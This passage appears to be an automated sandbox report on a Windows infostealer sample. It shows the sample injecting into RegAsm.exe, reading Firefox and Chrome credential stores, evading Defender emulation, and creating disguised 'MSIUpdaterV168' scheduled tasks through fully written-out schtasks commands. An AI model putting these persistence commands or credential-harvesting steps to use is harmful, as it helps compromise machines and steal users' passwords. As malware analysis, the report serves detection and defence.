Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004F9D70	3_2_004F9D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00545DE0	3_2_00545DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00501FE0	3_2_00501FE0
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_000468F6	11_2_000468F6
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00043A70	11_2_00043A70
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00041AC3	11_2_00041AC3
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00054B0E	11_2_00054B0E
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00056C34	11_2_00056C34
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_00035C90	11_2_00035C90
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_0004FECD	11_2_0004FECD
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_0004BFC9	11_2_0004BFC9
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: 11_2_0003C7E0	11_2_0003C7E0
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A268F6	12_2_00A268F6
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A21AC3	12_2_00A21AC3
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A23A70	12_2_00A23A70
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A15C90	12_2_00A15C90
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A36C34	12_2_00A36C34
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A2FECD	12_2_00A2FECD
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A1C7E0	12_2_00A1C7E0
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: 12_2_00A2BFC9	12_2_00A2BFC9
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00756908	22_2_00756908
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00751AD3	22_2_00751AD3
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00753A80	22_2_00753A80
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00764B1E	22_2_00764B1E
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00766C44	22_2_00766C44
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_00745CA0	22_2_00745CA0
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_0075FEDD	22_2_0075FEDD
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_0074C7F0	22_2_0074C7F0
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: 22_2_0075BFD9	22_2_0075BFD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B784CF0	23_2_1B784CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B899A20	23_2_1B899A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B772018	23_2_1B772018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B825940	23_2_1B825940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B771C9E	23_2_1B771C9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B772AA9	23_2_1B772AA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7712A8	23_2_1B7712A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8D9CC0	23_2_1B8D9CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B77292D	23_2_1B77292D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B773580	23_2_1B773580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8053B0	23_2_1B8053B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B94D209	23_2_1B94D209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B789000	23_2_1B789000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B895040	23_2_1B895040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B819690	23_2_1B819690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8D9430	23_2_1B8D9430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B874A60	23_2_1B874A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B771EF1	23_2_1B771EF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B798D2A	23_2_1B798D2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B773AB2	23_2_1B773AB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7F8120	23_2_1B7F8120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B898030	23_2_1B898030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7F0090	23_2_1B7F0090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B798763	23_2_1B798763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7D4760	23_2_1B7D4760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B808760	23_2_1B808760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B798680	23_2_1B798680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8B0480	23_2_1B8B0480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B79BAB0	23_2_1B79BAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B77251D	23_2_1B77251D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B77290A	23_2_1B77290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7A3370	23_2_1B7A3370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B77174E	23_2_1B77174E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B77AA40	23_2_1B77AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B77EA80	23_2_1B77EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8569C0	23_2_1B8569C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B88A900	23_2_1B88A900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B86A940	23_2_1B86A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B77481D	23_2_1B77481D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B8AE800	23_2_1B8AE800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B773E3B	23_2_1B773E3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B94AEBE	23_2_1B94AEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7D2EE0	23_2_1B7D2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7719DD	23_2_1B7719DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B77209F	23_2_1B77209F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7FA0B0	23_2_1B7FA0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7866C0	23_2_1B7866C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B86A590	23_2_1B86A590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B79A560	23_2_1B79A560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 23_2_1B7747AF	23_2_1B7747AF

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlt[1].dll 036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550

Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Code function: String function: 00A1C290 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Code function: String function: 0074C2A0 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Code function: String function: 0003C290 appears 56 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B771C2B appears 47 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B77415B appears 118 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00547510 appears 95 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041ACE0 appears 145 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B9506B1 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B77395E appears 78 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B771F5A appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434380 appears 59 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402CF0 appears 111 times
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Code function: String function: 00B3C290 appears 56 times

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6668 -s 288

Source: 1kBeqS7E3z.exe, 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenamedotnet.exe6 vs 1kBeqS7E3z.exe

Source: 1kBeqS7E3z.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 43.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 22.2.EWDN0G9BRDazVJeatNlA.exe.740000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 33.2.MSIUpdaterV168.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 34.2.MSIUpdaterV168.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks

Source: 1kBeqS7E3z.exe	Static PE information: Section: .data ZLIB complexity 0.9977245791408669
Source: rise1906[1].exe.3.dr	Static PE information: Section: .data ZLIB complexity 0.9977245791408669
Source: JNXEsB3lt_ta57yvH0nX.exe.3.dr	Static PE information: Section: .data ZLIB complexity 0.9977245791408669
Source: AdobeUpdaterV168.exe0.3.dr	Static PE information: Section: .data ZLIB complexity 0.9977245791408669
Source: MSIUpdaterV168.exe0.3.dr	Static PE information: Section: .data ZLIB complexity 0.9977245791408669

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@71/60@12/6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_005447E0 GetLastError,GetVersionExA,FormatMessageW,LocalFree,FormatMessageA,

3_2_005447E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00544A40 GetDiskFreeSpaceW,GetDiskFreeSpaceA,

3_2_00544A40

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004E06D0 CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,

3_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0048BAC8 CopyFileA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,CopyFileA,GetUserNameA,CopyFileA,SHGetFolderPathA,CoInitialize,CoCreateInstance,MultiByteToWideChar,CoUninitialize,ShellExecuteA,

3_2_0048BAC8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7064
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7032
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6884:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6736
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6668

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\trixy5OrBOMtvc8QO

Jump to behavior

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Command line argument: Alister	0_2_00B38E90
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Command line argument: Alister	11_2_00038E90
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Command line argument: Alister	12_2_00A18E90
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Command line argument: Alister	22_2_00748EA0

Source: 1kBeqS7E3z.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\1kBeqS7E3z.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000017.00000002.4149766607.00000000035A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM urls LIMIT 1000;
Source: 1kBeqS7E3z.exe, 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, JNXEsB3lt_ta57yvH0nX.exe, 0000000B.00000002.1855690126.0000000000068000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000C.00000002.1889587614.0000000000A48000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 00000010.00000002.1932454219.0000000000A48000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 1kBeqS7E3z.exe, 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, 00000003.00000002.1874108431.0000000000400000.00000040.00000400.00020000.00000000.sdmp, JNXEsB3lt_ta57yvH0nX.exe, 0000000B.00000002.1855690126.0000000000068000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000C.00000002.1889587614.0000000000A48000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 00000010.00000002.1932454219.0000000000A48000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: f6uxhjQDDMXqLogin Data.3.dr, AmXZnh1xJmbtLogin Data For Account.3.dr, GIEHJK.23.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000017.00000002.4150397506.0000000015A12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000017.00000002.4154077628.000000001B988000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.23.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: 1kBeqS7E3z.exe	Virustotal: Detection: 52%
Source: 1kBeqS7E3z.exe	ReversingLabs: Detection: 63%

Source: RegAsm.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: unknown	Process created: C:\Users\user\Desktop\1kBeqS7E3z.exe "C:\Users\user\Desktop\1kBeqS7E3z.exe"
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\1kBeqS7E3z.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6668 -s 288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe "C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
